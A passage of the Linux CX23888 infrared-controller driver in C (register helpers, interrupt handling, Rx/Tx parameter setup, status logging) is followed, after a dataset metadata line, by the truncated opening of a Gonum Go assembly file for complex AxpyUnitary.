CX23888_IR_REFCLK_FREQ / 1000000 * (u64) ns; /* millicycles */ rem = do_div(clocks, 1000); /* /1000 = cycles */ if (rem >= 1000 / 2) clocks++; return clocks; } static u16 pulse_clocks_to_clock_divider(u64 count) { do_div(count, (FIFO_RXTX << 2) | 0x3); /* net result needs to be rounded down and decremented by 1 */ if (count > RXCLK_RCD + 1) count = RXCLK_RCD; else if (count < 2) count = 1; else count--; return (u16) count; } /* * IR Control Register helpers */ enum tx_fifo_watermark { TX_FIFO_HALF_EMPTY = 0, TX_FIFO_EMPTY = CNTRL_TIC, }; enum rx_fifo_watermark { RX_FIFO_HALF_FULL = 0, RX_FIFO_NOT_EMPTY = CNTRL_RIC, }; static inline void control_tx_irq_watermark(struct cx23885_dev *dev, enum tx_fifo_watermark level) { cx23888_ir_and_or4(dev, CX23888_IR_CNTRL_REG, ~CNTRL_TIC, level); } static inline void control_rx_irq_watermark(struct cx23885_dev *dev, enum rx_fifo_watermark level) { cx23888_ir_and_or4(dev, CX23888_IR_CNTRL_REG, ~CNTRL_RIC, level); } static inline void control_tx_enable(struct cx23885_dev *dev, bool enable) { cx23888_ir_and_or4(dev, CX23888_IR_CNTRL_REG, ~(CNTRL_TXE | CNTRL_TFE), enable ? (CNTRL_TXE | CNTRL_TFE) : 0); } static inline void control_rx_enable(struct cx23885_dev *dev, bool enable) { cx23888_ir_and_or4(dev, CX23888_IR_CNTRL_REG, ~(CNTRL_RXE | CNTRL_RFE), enable ? (CNTRL_RXE | CNTRL_RFE) : 0); } static inline void control_tx_modulation_enable(struct cx23885_dev *dev, bool enable) { cx23888_ir_and_or4(dev, CX23888_IR_CNTRL_REG, ~CNTRL_MOD, enable ? CNTRL_MOD : 0); } static inline void control_rx_demodulation_enable(struct cx23885_dev *dev, bool enable) { cx23888_ir_and_or4(dev, CX23888_IR_CNTRL_REG, ~CNTRL_DMD, enable ? CNTRL_DMD : 0); } static inline void control_rx_s_edge_detection(struct cx23885_dev *dev, u32 edge_types) { cx23888_ir_and_or4(dev, CX23888_IR_CNTRL_REG, ~CNTRL_EDG_BOTH, edge_types & CNTRL_EDG_BOTH); } static void control_rx_s_carrier_window(struct cx23885_dev *dev, unsigned int carrier, unsigned int *carrier_range_low, unsigned int *carrier_range_high) { u32 v; unsigned int c16 = carrier * 16; if (*carrier_range_low < DIV_ROUND_CLOSEST(c16, 16 + 3)) { v = CNTRL_WIN_3_4; *carrier_range_low = DIV_ROUND_CLOSEST(c16, 16 + 4); } else { v = CNTRL_WIN_3_3; *carrier_range_low = DIV_ROUND_CLOSEST(c16, 16 + 3); } if (*carrier_range_high > DIV_ROUND_CLOSEST(c16, 16 - 3)) { v |= CNTRL_WIN_4_3; *carrier_range_high = DIV_ROUND_CLOSEST(c16, 16 - 4); } else { v |= CNTRL_WIN_3_3; *carrier_range_high = DIV_ROUND_CLOSEST(c16, 16 - 3); } cx23888_ir_and_or4(dev, CX23888_IR_CNTRL_REG, ~CNTRL_WIN, v); } static inline void control_tx_polarity_invert(struct cx23885_dev *dev, bool invert) { cx23888_ir_and_or4(dev, CX23888_IR_CNTRL_REG, ~CNTRL_CPL, invert ? CNTRL_CPL : 0); } static inline void control_tx_level_invert(struct cx23885_dev *dev, bool invert) { cx23888_ir_and_or4(dev, CX23888_IR_CNTRL_REG, ~CNTRL_IVO, invert ? CNTRL_IVO : 0); } /* * IR Rx & Tx Clock Register helpers */ static unsigned int txclk_tx_s_carrier(struct cx23885_dev *dev, unsigned int freq, u16 *divider) { *divider = carrier_freq_to_clock_divider(freq); cx23888_ir_write4(dev, CX23888_IR_TXCLK_REG, *divider); return clock_divider_to_carrier_freq(*divider); } static unsigned int rxclk_rx_s_carrier(struct cx23885_dev *dev, unsigned int freq, u16 *divider) { *divider = carrier_freq_to_clock_divider(freq); cx23888_ir_write4(dev, CX23888_IR_RXCLK_REG, *divider); return clock_divider_to_carrier_freq(*divider); } static u32 txclk_tx_s_max_pulse_width(struct cx23885_dev *dev, u32 ns, u16 *divider) { u64 pulse_clocks; if (ns > IR_MAX_DURATION) ns = IR_MAX_DURATION; pulse_clocks = ns_to_pulse_clocks(ns); *divider = pulse_clocks_to_clock_divider(pulse_clocks); cx23888_ir_write4(dev, CX23888_IR_TXCLK_REG, *divider); return (u32) pulse_width_count_to_ns(FIFO_RXTX, *divider); } static u32 rxclk_rx_s_max_pulse_width(struct cx23885_dev *dev, u32 ns, u16 *divider) { u64 pulse_clocks; if (ns > IR_MAX_DURATION) ns = IR_MAX_DURATION; pulse_clocks = ns_to_pulse_clocks(ns); *divider = pulse_clocks_to_clock_divider(pulse_clocks); cx23888_ir_write4(dev, CX23888_IR_RXCLK_REG, *divider); return (u32) pulse_width_count_to_ns(FIFO_RXTX, *divider); } /* * IR Tx Carrier Duty Cycle register helpers */ static unsigned int cduty_tx_s_duty_cycle(struct cx23885_dev *dev, unsigned int duty_cycle) { u32 n; n = DIV_ROUND_CLOSEST(duty_cycle * 100, 625); /* 16ths of 100% */ if (n != 0) n--; if (n > 15) n = 15; cx23888_ir_write4(dev, CX23888_IR_CDUTY_REG, n); return DIV_ROUND_CLOSEST((n + 1) * 100, 16); } /* * IR Filter Register helpers */ static u32 filter_rx_s_min_width(struct cx23885_dev *dev, u32 min_width_ns) { u32 count = ns_to_lpf_count(min_width_ns); cx23888_ir_write4(dev, CX23888_IR_FILTR_REG, count); return lpf_count_to_ns(count); } /* * IR IRQ Enable Register helpers */ static inline void irqenable_rx(struct cx23885_dev *dev, u32 mask) { mask &= (IRQEN_RTE | IRQEN_ROE | IRQEN_RSE); cx23888_ir_and_or4(dev, CX23888_IR_IRQEN_REG, ~(IRQEN_RTE | IRQEN_ROE | IRQEN_RSE), mask); } static inline void irqenable_tx(struct cx23885_dev *dev, u32 mask) { mask &= IRQEN_TSE; cx23888_ir_and_or4(dev, CX23888_IR_IRQEN_REG, ~IRQEN_TSE, mask); } /* * V4L2 Subdevice IR Ops */ static int cx23888_ir_irq_handler(struct v4l2_subdev *sd, u32 status, bool *handled) { struct cx23888_ir_state *state = to_state(sd); struct cx23885_dev *dev = state->dev; unsigned long flags; u32 cntrl = cx23888_ir_read4(dev, CX23888_IR_CNTRL_REG); u32 irqen = cx23888_ir_read4(dev, CX23888_IR_IRQEN_REG); u32 stats = cx23888_ir_read4(dev, CX23888_IR_STATS_REG); union cx23888_ir_fifo_rec rx_data[FIFO_RX_DEPTH]; unsigned int i, j, k; u32 events, v; int tsr, rsr, rto, ror, tse, rse, rte, roe, kror; tsr = stats & STATS_TSR; /* Tx FIFO Service Request */ rsr = stats & STATS_RSR; /* Rx FIFO Service Request */ rto = stats & STATS_RTO; /* Rx Pulse Width Timer Time Out */ ror = stats & STATS_ROR; /* Rx FIFO Over Run */ tse = irqen & IRQEN_TSE; /* Tx FIFO Service Request IRQ Enable */ rse = irqen & IRQEN_RSE; /* Rx FIFO Service Reuqest IRQ Enable */ rte = irqen & IRQEN_RTE; /* Rx Pulse Width Timer Time Out IRQ Enable */ roe = irqen & IRQEN_ROE; /* Rx FIFO Over Run IRQ Enable */ *handled = false; v4l2_dbg(2, ir_888_debug, sd, "IRQ Status: %s %s %s %s %s %s\n", tsr ? "tsr" : " ", rsr ? "rsr" : " ", rto ? "rto" : " ", ror ? "ror" : " ", stats & STATS_TBY ? "tby" : " ", stats & STATS_RBY ? "rby" : " "); v4l2_dbg(2, ir_888_debug, sd, "IRQ Enables: %s %s %s %s\n", tse ? "tse" : " ", rse ? "rse" : " ", rte ? "rte" : " ", roe ? "roe" : " "); /* * Transmitter interrupt service */ if (tse && tsr) { /* * TODO: * Check the watermark threshold setting * Pull FIFO_TX_DEPTH or FIFO_TX_DEPTH/2 entries from tx_kfifo * Push the data to the hardware FIFO. * If there was nothing more to send in the tx_kfifo, disable * the TSR IRQ and notify the v4l2_device. * If there was something in the tx_kfifo, check the tx_kfifo * level and notify the v4l2_device, if it is low. */ /* For now, inhibit TSR interrupt until Tx is implemented */ irqenable_tx(dev, 0); events = V4L2_SUBDEV_IR_TX_FIFO_SERVICE_REQ; v4l2_subdev_notify(sd, V4L2_SUBDEV_IR_TX_NOTIFY, &events); *handled = true; } /* * Receiver interrupt service */ kror = 0; if ((rse && rsr) || (rte && rto)) { /* * Receive data on RSR to clear the STATS_RSR. * Receive data on RTO, since we may not have yet hit the RSR * watermark when we receive the RTO. */ for (i = 0, v = FIFO_RX_NDV; (v & FIFO_RX_NDV) && !kror; i = 0) { for (j = 0; (v & FIFO_RX_NDV) && j < FIFO_RX_DEPTH; j++) { v = cx23888_ir_read4(dev, CX23888_IR_FIFO_REG); rx_data[i].hw_fifo_data = v & ~FIFO_RX_NDV; i++; } if (i == 0) break; j = i * sizeof(union cx23888_ir_fifo_rec); k = kfifo_in_locked(&state->rx_kfifo, (unsigned char *) rx_data, j, &state->rx_kfifo_lock); if (k != j) kror++; /* rx_kfifo over run */ } *handled = true; } events = 0; v = 0; if (kror) { events |= V4L2_SUBDEV_IR_RX_SW_FIFO_OVERRUN; v4l2_err(sd, "IR receiver software FIFO overrun\n"); } if (roe && ror) { /* * The RX FIFO Enable (CNTRL_RFE) must be toggled to clear * the Rx FIFO Over Run status (STATS_ROR) */ v |= CNTRL_RFE; events |= V4L2_SUBDEV_IR_RX_HW_FIFO_OVERRUN; v4l2_err(sd, "IR receiver hardware FIFO overrun\n"); } if (rte && rto) { /* * The IR Receiver Enable (CNTRL_RXE) must be toggled to clear * the Rx Pulse Width Timer Time Out (STATS_RTO) */ v |= CNTRL_RXE; events |= V4L2_SUBDEV_IR_RX_END_OF_RX_DETECTED; } if (v) { /* Clear STATS_ROR & STATS_RTO as needed by reseting hardware */ cx23888_ir_write4(dev, CX23888_IR_CNTRL_REG, cntrl & ~v); cx23888_ir_write4(dev, CX23888_IR_CNTRL_REG, cntrl); *handled = true; } spin_lock_irqsave(&state->rx_kfifo_lock, flags); if (kfifo_len(&state->rx_kfifo) >= CX23888_IR_RX_KFIFO_SIZE / 2) events |= V4L2_SUBDEV_IR_RX_FIFO_SERVICE_REQ; spin_unlock_irqrestore(&state->rx_kfifo_lock, flags); if (events) v4l2_subdev_notify(sd, V4L2_SUBDEV_IR_RX_NOTIFY, &events); return 0; } /* Receiver */ static int cx23888_ir_rx_read(struct v4l2_subdev *sd, u8 *buf, size_t count, ssize_t *num) { struct cx23888_ir_state *state = to_state(sd); bool invert = (bool) atomic_read(&state->rx_invert); u16 divider = (u16) atomic_read(&state->rxclk_divider); unsigned int i, n; union cx23888_ir_fifo_rec *p; unsigned u, v, w; n = count / sizeof(union cx23888_ir_fifo_rec) * sizeof(union cx23888_ir_fifo_rec); if (n == 0) { *num = 0; return 0; } n = kfifo_out_locked(&state->rx_kfifo, buf, n, &state->rx_kfifo_lock); n /= sizeof(union cx23888_ir_fifo_rec); *num = n * sizeof(union cx23888_ir_fifo_rec); for (p = (union cx23888_ir_fifo_rec *) buf, i = 0; i < n; p++, i++) { if ((p->hw_fifo_data & FIFO_RXTX_RTO) == FIFO_RXTX_RTO) { /* Assume RTO was because of no IR light input */ u = 0; w = 1; } else { u = (p->hw_fifo_data & FIFO_RXTX_LVL) ? 1 : 0; if (invert) u = u ? 0 : 1; w = 0; } v = (unsigned) pulse_width_count_to_ns( (u16) (p->hw_fifo_data & FIFO_RXTX), divider); if (v > IR_MAX_DURATION) v = IR_MAX_DURATION; init_ir_raw_event(&p->ir_core_data); p->ir_core_data.pulse = u; p->ir_core_data.duration = v; p->ir_core_data.timeout = w; v4l2_dbg(2, ir_888_debug, sd, "rx read: %10u ns %s %s\n", v, u ? "mark" : "space", w ? "(timed out)" : ""); if (w) v4l2_dbg(2, ir_888_debug, sd, "rx read: end of rx\n"); } return 0; } static int cx23888_ir_rx_g_parameters(struct v4l2_subdev *sd, struct v4l2_subdev_ir_parameters *p) { struct cx23888_ir_state *state = to_state(sd); mutex_lock(&state->rx_params_lock); memcpy(p, &state->rx_params, sizeof(struct v4l2_subdev_ir_parameters)); mutex_unlock(&state->rx_params_lock); return 0; } static int cx23888_ir_rx_shutdown(struct v4l2_subdev *sd) { struct cx23888_ir_state *state = to_state(sd); struct cx23885_dev *dev = state->dev; mutex_lock(&state->rx_params_lock); /* Disable or slow down all IR Rx circuits and counters */ irqenable_rx(dev, 0); control_rx_enable(dev, false); control_rx_demodulation_enable(dev, false); control_rx_s_edge_detection(dev, CNTRL_EDG_NONE); filter_rx_s_min_width(dev, 0); cx23888_ir_write4(dev, CX23888_IR_RXCLK_REG, RXCLK_RCD); state->rx_params.shutdown = true; mutex_unlock(&state->rx_params_lock); return 0; } static int cx23888_ir_rx_s_parameters(struct v4l2_subdev *sd, struct v4l2_subdev_ir_parameters *p) { struct cx23888_ir_state *state = to_state(sd); struct cx23885_dev *dev = state->dev; struct v4l2_subdev_ir_parameters *o = &state->rx_params; u16 rxclk_divider; if (p->shutdown) return cx23888_ir_rx_shutdown(sd); if (p->mode != V4L2_SUBDEV_IR_MODE_PULSE_WIDTH) return -ENOSYS; mutex_lock(&state->rx_params_lock); o->shutdown = p->shutdown; o->mode = p->mode = V4L2_SUBDEV_IR_MODE_PULSE_WIDTH; o->bytes_per_data_element = p->bytes_per_data_element = sizeof(union cx23888_ir_fifo_rec); /* Before we tweak the hardware, we have to disable the receiver */ irqenable_rx(dev, 0); control_rx_enable(dev, false); control_rx_demodulation_enable(dev, p->modulation); o->modulation = p->modulation; if (p->modulation) { p->carrier_freq = rxclk_rx_s_carrier(dev, p->carrier_freq, &rxclk_divider); o->carrier_freq = p->carrier_freq; o->duty_cycle = p->duty_cycle = 50; control_rx_s_carrier_window(dev, p->carrier_freq, &p->carrier_range_lower, &p->carrier_range_upper); o->carrier_range_lower = p->carrier_range_lower; o->carrier_range_upper = p->carrier_range_upper; p->max_pulse_width = (u32) pulse_width_count_to_ns(FIFO_RXTX, rxclk_divider); } else { p->max_pulse_width = rxclk_rx_s_max_pulse_width(dev, p->max_pulse_width, &rxclk_divider); } o->max_pulse_width = p->max_pulse_width; atomic_set(&state->rxclk_divider, rxclk_divider); p->noise_filter_min_width = filter_rx_s_min_width(dev, p->noise_filter_min_width); o->noise_filter_min_width = p->noise_filter_min_width; p->resolution = clock_divider_to_resolution(rxclk_divider); o->resolution = p->resolution; /* FIXME - make this dependent on resolution for better performance */ control_rx_irq_watermark(dev, RX_FIFO_HALF_FULL); control_rx_s_edge_detection(dev, CNTRL_EDG_BOTH); o->invert_level = p->invert_level; atomic_set(&state->rx_invert, p->invert_level); o->interrupt_enable = p->interrupt_enable; o->enable = p->enable; if (p->enable) { unsigned long flags; spin_lock_irqsave(&state->rx_kfifo_lock, flags); kfifo_reset(&state->rx_kfifo); /* reset tx_fifo too if there is one... */ spin_unlock_irqrestore(&state->rx_kfifo_lock, flags); if (p->interrupt_enable) irqenable_rx(dev, IRQEN_RSE | IRQEN_RTE | IRQEN_ROE); control_rx_enable(dev, p->enable); } mutex_unlock(&state->rx_params_lock); return 0; } /* Transmitter */ static int cx23888_ir_tx_write(struct v4l2_subdev *sd, u8 *buf, size_t count, ssize_t *num) { struct cx23888_ir_state *state = to_state(sd); struct cx23885_dev *dev = state->dev; /* For now enable the Tx FIFO Service interrupt & pretend we did work */ irqenable_tx(dev, IRQEN_TSE); *num = count; return 0; } static int cx23888_ir_tx_g_parameters(struct v4l2_subdev *sd, struct v4l2_subdev_ir_parameters *p) { struct cx23888_ir_state *state = to_state(sd); mutex_lock(&state->tx_params_lock); memcpy(p, &state->tx_params, sizeof(struct v4l2_subdev_ir_parameters)); mutex_unlock(&state->tx_params_lock); return 0; } static int cx23888_ir_tx_shutdown(struct v4l2_subdev *sd) { struct cx23888_ir_state *state = to_state(sd); struct cx23885_dev *dev = state->dev; mutex_lock(&state->tx_params_lock); /* Disable or slow down all IR Tx circuits and counters */ irqenable_tx(dev, 0); control_tx_enable(dev, false); control_tx_modulation_enable(dev, false); cx23888_ir_write4(dev, CX23888_IR_TXCLK_REG, TXCLK_TCD); state->tx_params.shutdown = true; mutex_unlock(&state->tx_params_lock); return 0; } static int cx23888_ir_tx_s_parameters(struct v4l2_subdev *sd, struct v4l2_subdev_ir_parameters *p) { struct cx23888_ir_state *state = to_state(sd); struct cx23885_dev *dev = state->dev; struct v4l2_subdev_ir_parameters *o = &state->tx_params; u16 txclk_divider; if (p->shutdown) return cx23888_ir_tx_shutdown(sd); if (p->mode != V4L2_SUBDEV_IR_MODE_PULSE_WIDTH) return -ENOSYS; mutex_lock(&state->tx_params_lock); o->shutdown = p->shutdown; o->mode = p->mode = V4L2_SUBDEV_IR_MODE_PULSE_WIDTH; o->bytes_per_data_element = p->bytes_per_data_element = sizeof(union cx23888_ir_fifo_rec); /* Before we tweak the hardware, we have to disable the transmitter */ irqenable_tx(dev, 0); control_tx_enable(dev, false); control_tx_modulation_enable(dev, p->modulation); o->modulation = p->modulation; if (p->modulation) { p->carrier_freq = txclk_tx_s_carrier(dev, p->carrier_freq, &txclk_divider); o->carrier_freq = p->carrier_freq; p->duty_cycle = cduty_tx_s_duty_cycle(dev, p->duty_cycle); o->duty_cycle = p->duty_cycle; p->max_pulse_width = (u32) pulse_width_count_to_ns(FIFO_RXTX, txclk_divider); } else { p->max_pulse_width = txclk_tx_s_max_pulse_width(dev, p->max_pulse_width, &txclk_divider); } o->max_pulse_width = p->max_pulse_width; atomic_set(&state->txclk_divider, txclk_divider); p->resolution = clock_divider_to_resolution(txclk_divider); o->resolution = p->resolution; /* FIXME - make this dependent on resolution for better performance */ control_tx_irq_watermark(dev, TX_FIFO_HALF_EMPTY); control_tx_polarity_invert(dev, p->invert_carrier_sense); o->invert_carrier_sense = p->invert_carrier_sense; control_tx_level_invert(dev, p->invert_level); o->invert_level = p->invert_level; o->interrupt_enable = p->interrupt_enable; o->enable = p->enable; if (p->enable) { if (p->interrupt_enable) irqenable_tx(dev, IRQEN_TSE); control_tx_enable(dev, p->enable); } mutex_unlock(&state->tx_params_lock); return 0; } /* * V4L2 Subdevice Core Ops */ static int cx23888_ir_log_status(struct v4l2_subdev *sd) { struct cx23888_ir_state *state = to_state(sd); struct cx23885_dev *dev = state->dev; char *s; int i, j; u32 cntrl = cx23888_ir_read4(dev, CX23888_IR_CNTRL_REG); u32 txclk = cx23888_ir_read4(dev, CX23888_IR_TXCLK_REG) & TXCLK_TCD; u32 rxclk = cx23888_ir_read4(dev, CX23888_IR_RXCLK_REG) & RXCLK_RCD; u32 cduty = cx23888_ir_read4(dev, CX23888_IR_CDUTY_REG) & CDUTY_CDC; u32 stats = cx23888_ir_read4(dev, CX23888_IR_STATS_REG); u32 irqen = cx23888_ir_read4(dev, CX23888_IR_IRQEN_REG); u32 filtr = cx23888_ir_read4(dev, CX23888_IR_FILTR_REG) & FILTR_LPF; v4l2_info(sd, "IR Receiver:\n"); v4l2_info(sd, "\tEnabled: %s\n", cntrl & CNTRL_RXE ? "yes" : "no"); v4l2_info(sd, "\tDemodulation from a carrier: %s\n", cntrl & CNTRL_DMD ? "enabled" : "disabled"); v4l2_info(sd, "\tFIFO: %s\n", cntrl & CNTRL_RFE ? "enabled" : "disabled"); switch (cntrl & CNTRL_EDG) { case CNTRL_EDG_NONE: s = "disabled"; break; case CNTRL_EDG_FALL: s = "falling edge"; break; case CNTRL_EDG_RISE: s = "rising edge"; break; case CNTRL_EDG_BOTH: s = "rising & falling edges"; break; default: s = "??? edge"; break; } v4l2_info(sd, "\tPulse timers' start/stop trigger: %s\n", s); v4l2_info(sd, "\tFIFO data on pulse timer overflow: %s\n", cntrl & CNTRL_R ? "not loaded" : "overflow marker"); v4l2_info(sd, "\tFIFO interrupt watermark: %s\n", cntrl & CNTRL_RIC ? "not empty" : "half full or greater"); v4l2_info(sd, "\tLoopback mode: %s\n", cntrl & CNTRL_LBM ? "loopback active" : "normal receive"); if (cntrl & CNTRL_DMD) { v4l2_info(sd, "\tExpected carrier (16 clocks): %u Hz\n", clock_divider_to_carrier_freq(rxclk)); switch (cntrl & CNTRL_WIN) { case CNTRL_WIN_3_3: i = 3; j = 3; break; case CNTRL_WIN_4_3: i = 4; j = 3; break; case CNTRL_WIN_3_4: i = 3; j = 4; break; case CNTRL_WIN_4_4: i = 4; j = 4; break; default: i = 0; j = 0; break; } v4l2_info(sd, "\tNext carrier edge window: 16 clocks " "-%1d/+%1d, %u to %u Hz\n", i, j, clock_divider_to_freq(rxclk, 16 + j), clock_divider_to_freq(rxclk, 16 - i)); } v4l2_info(sd, "\tMax measurable pulse width: %u us, %llu ns\n", pulse_width_count_to_us(FIFO_RXTX, rxclk), pulse_width_count_to_ns(FIFO_RXTX, rxclk)); v4l2_info(sd, "\tLow pass filter: %s\n", filtr ? "enabled" : "disabled"); if (filtr) v4l2_info(sd, "\tMin acceptable pulse width (LPF): %u us, " "%u ns\n", lpf_count_to_us(filtr), lpf_count_to_ns(filtr)); v4l2_info(sd, "\tPulse width timer timed-out: %s\n", stats & STATS_RTO ? "yes" : "no"); v4l2_info(sd, "\tPulse width timer time-out intr: %s\n", irqen & IRQEN_RTE ? "enabled" : "disabled"); v4l2_info(sd, "\tFIFO overrun: %s\n", stats & STATS_ROR ? "yes" : "no"); v4l2_info(sd, "\tFIFO overrun interrupt: %s\n", irqen & IRQEN_ROE ? "enabled" : "disabled"); v4l2_info(sd, "\tBusy: %s\n", stats & STATS_RBY ? "yes" : "no"); v4l2_info(sd, "\tFIFO service requested: %s\n", stats & STATS_RSR ? "yes" : "no"); v4l2_info(sd, "\tFIFO service request interrupt: %s\n", irqen & IRQEN_RSE ? "enabled" : "disabled"); v4l2_info(sd, "IR Transmitter:\n"); v4l2_info(sd, "\tEnabled: %s\n", cntrl & CNTRL_TXE ? "yes" : "no"); v4l2_info(sd, "\tModulation onto a carrier: %s\n", cntrl & CNTRL_MOD ? "enabled" : "disabled"); v4l2_info(sd, "\tFIFO: %s\n", cntrl & CNTRL_TFE ? "enabled" : "disabled"); v4l2_info(sd, "\tFIFO interrupt watermark: %s\n", cntrl & CNTRL_TIC ? "not empty" : "half full or less"); v4l2_info(sd, "\tOutput pin level inversion %s\n", cntrl & CNTRL_IVO ? "yes" : "no"); v4l2_info(sd, "\tCarrier polarity: %s\n", cntrl & CNTRL_CPL ? "space:burst mark:noburst" : "space:noburst mark:burst"); if (cntrl & CNTRL_MOD) { v4l2_info(sd, "\tCarrier (16 clocks): %u Hz\n", clock_divider_to_carrier_freq(txclk)); v4l2_info(sd, "\tCarrier duty cycle: %2u/16\n", cduty + 1); } v4l2_info(sd, "\tMax pulse width: %u us, %llu ns\n", pulse_width_count_to_us(FIFO_RXTX, txclk), pulse_width_count_to_ns(FIFO_RXTX, txclk)); v4l2_info(sd, "\tBusy: %s\n", stats & STATS_TBY ? "yes" : "no"); v4l2_info(sd, "\tFIFO service requested: %s\n", stats & STATS_TSR ? "yes" : "no"); v4l2_info(sd, "\tFIFO service request interrupt: %s\n", irqen & IRQEN_TSE ? "enabled" : "disabled"); return 0; } #ifdef CONFIG_VIDEO_ADV_DEBUG static int cx23888_ir_g_register(struct v4l2_subdev *sd, struct v4l2_dbg_register *reg) { struct cx23888_ir_state *state = to_state(sd); u32 addr = CX23888_IR_REG_BASE + (u32) reg->reg; if ((addr & 0x3) != 0) return -EINVAL; if (addr < CX23888_IR_CNTRL_REG || addr > CX23888_IR_LEARN_REG) return -EINVAL; reg->size = 4; reg->val = cx23888_ir_read4(state->dev, addr); return 0; } static int cx23888_ir_s_register(struct v4l2_subdev *sd, const struct v4l2_dbg_register *reg) { struct cx23888_ir_state *state = to_state(sd); u32 addr = CX23888_IR_REG_BASE + (u32) reg->reg; if ((addr & 0x3) != 0) return -EINVAL; if (addr < CX23888_IR_CNTRL_REG || addr > CX23888_IR_LEARN_REG) return -EINVAL; cx23888_ir_write4(state->dev, addr, reg->val); return 0; } #endif static const struct v4l2_subdev_core_ops cx23888_ir_core_ops = { .log_status = cx23888_ir_log_status, #ifdef CONFIG_VIDEO_ADV_DEBUG .g_register = cx23888_ir_g_register, .s_register = cx23888_ir_s_register, #endif .interrupt_service_routine = cx23888_ir_irq_handler, }; static const struct v4l2_subdev_ir_ops cx23888_ir_ir_ops = { .rx_read = cx23888_ir_rx_read, .rx_g_parameters = cx23888_ir_rx_g_parameters, .rx_s_parameters = cx23888_ir_rx_s_parameters, .tx_write = cx23888_ir_tx_write, .tx_g_parameters = cx23888_ir_tx_g_parameters, .tx_s_parameters = cx23888_ir_tx_s_parameters, }; static const struct v4l2_subdev_ops cx23888_ir_controller_ops = { .core = &cx23888_ir_core_ops, .ir = &cx23888_ir_ir_ops, }; static const struct v4l2_subdev_ir_parameters default_rx_params = { .bytes_per_data_element = sizeof(union cx23888_ir_fifo_rec), .mode = V4L2_SUBDEV_IR_MODE_PULSE_WIDTH, .enable = false, .interrupt_enable = false, .shutdown = true, .modulation = true, .carrier_freq = 36000, /* 36 kHz - RC-5, RC-6, and RC-6A carrier */ /* RC-5: 666,667 ns = 1/36 kHz * 32 cycles * 1 mark * 0.75 */ /* RC-6A: 333,333 ns = 1/36 kHz * 16 cycles * 1 mark * 0.75 */ .noise_filter_min_width = 333333, /* ns */ .carrier_range_lower = 35000, .carrier_range_upper = 37000, .invert_level = false, }; static const struct v4l2_subdev_ir_parameters default_tx_params = { .bytes_per_data_element = sizeof(union cx23888_ir_fifo_rec), .mode = V4L2_SUBDEV_IR_MODE_PULSE_WIDTH, .enable = false, .interrupt_enable = false, .shutdown = true, .modulation = true, .carrier_freq = 36000, /* 36 kHz - RC-5 carrier */ .duty_cycle = 25, /* 25 % - RC-5 carrier */ .invert_level = false, .invert_carrier_sense = false, }; int cx23888_ir_probe(struct cx23885_dev *dev) { struct cx23888_ir_state *state; struct v4l2_subdev *sd; struct v4l2_subdev_ir_parameters default_params; int ret; state = kzalloc(sizeof(struct cx23888_ir_state), GFP_KERNEL); if (state == NULL) return -ENOMEM; spin_lock_init(&state->rx_kfifo_lock); if (kfifo_alloc(&state->rx_kfifo, CX23888_IR_RX_KFIFO_SIZE, GFP_KERNEL)) return -ENOMEM; state->dev = dev; sd = &state->sd; v4l2_subdev_init(sd, &cx23888_ir_controller_ops); v4l2_set_subdevdata(sd, state); /* FIXME - fix the formatting of dev->v4l2_dev.name and use it */ snprintf(sd->name, sizeof(sd->name), "%s/888-ir", dev->name); sd->grp_id = CX23885_HW_888_IR; ret = v4l2_device_register_subdev(&dev->v4l2_dev, sd); if (ret == 0) { /* * Ensure no interrupts arrive from '888 specific conditions, * since we ignore them in this driver to have commonality with * similar IR controller cores. */ cx23888_ir_write4(dev, CX23888_IR_IRQEN_REG, 0); mutex_init(&state->rx_params_lock); default_params = default_rx_params; v4l2_subdev_call(sd, ir, rx_s_parameters, &default_params); mutex_init(&state->tx_params_lock); default_params = default_tx_params; v4l2_subdev_call(sd, ir, tx_s_parameters, &default_params); } else { kfifo_free(&state->rx_kfifo); } return ret; } int cx23888_ir_remove(struct cx23885_dev *dev) { struct v4l2_subdev *sd; struct cx23888_ir_state *state; sd = cx23885_find_hw(dev, CX23885_HW_888_IR); if (sd == NULL) return -ENODEV; cx23888_ir_rx_shutdown(sd); cx23888_ir_tx_shutdown(sd); state = to_state(sd); v4l2_device_unregister_subdev(sd); kfifo_free(&state->rx_kfifo); kfree(state); /* Nothing more to free() as state held the actual v4l2_subdev object */ return 0; }
{ "pile_set_name": "Github" }
// Copyright ©2016 The Gonum Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. //+build !noasm,!appengine #include "textflag.h" // MOVSHDUP X3, X2 #define MOVSHDUP_X3_X2 BYTE $0xF3; BYTE $0x0F; BYTE $0x16; BYTE $0xD3 // MOVSLDUP X3, X3 #define MOVSLDUP_X3_X3 BYTE $0xF3; BYTE $0x0F; BYTE $0x12; BYTE $0xDB // ADDSUBPS X2, X3 #define ADDSUBPS_X2_X3 BYTE $0xF2; BYTE $0x0F; BYTE $0xD0; BYTE $0xDA // MOVSHDUP X5, X4 #define MOVSHDUP_X5_X4 BYTE $0xF3; BYTE $0x0F; BYTE $0x16; BYTE $0xE5 // MOVSLDUP X5, X5 #define MOVSLDUP_X5_X5 BYTE $0xF3; BYTE $0x0F; BYTE $0x12; BYTE $0xED // ADDSUBPS X4, X5 #define ADDSUBPS_X4_X5 BYTE $0xF2; BYTE $0x0F; BYTE $0xD0; BYTE $0xEC // MOVSHDUP X7, X6 #define MOVSHDUP_X7_X6 BYTE $0xF3; BYTE $0x0F; BYTE $0x16; BYTE $0xF7 // MOVSLDUP X7, X7 #define MOVSLDUP_X7_X7 BYTE $0xF3; BYTE $0x0F; BYTE $0x12; BYTE $0xFF // ADDSUBPS X6, X7 #define ADDSUBPS_X6_X7 BYTE $0xF2; BYTE $0x0F; BYTE $0xD0; BYTE $0xFE // MOVSHDUP X9, X8 #define MOVSHDUP_X9_X8 BYTE $0xF3; BYTE $0x45; BYTE $0x0F; BYTE $0x16; BYTE $0xC1 // MOVSLDUP X9, X9 #define MOVSLDUP_X9_X9 BYTE $0xF3; BYTE $0x45; BYTE $0x0F; BYTE $0x12; BYTE $0xC9 // ADDSUBPS X8, X9 #define ADDSUBPS_X8_X9 BYTE $0xF2; BYTE $0x45; BYTE $0x0F; BYTE $0xD0; BYTE $0xC8 // func AxpyUnitary(alpha complex64, x, y []complex64) TEXT ·AxpyUnitary(SB), NOSPLIT, $0 MOVQ x_base+8(FP), SI // SI = &x MOVQ y_base+32(FP), DI // DI = &y MOVQ x_len+16(FP), CX // CX = min( len(x), len(y) ) CMPQ y_len+40(FP), CX CMOVQLE y_len+40(FP), CX CMPQ CX, $0 // if CX == 0 { return } JE caxy_end PXOR X0, X0 // Clear work registers and cache-align loop PXOR X1, X1 MOVSD alpha+0(FP), X0 // X0 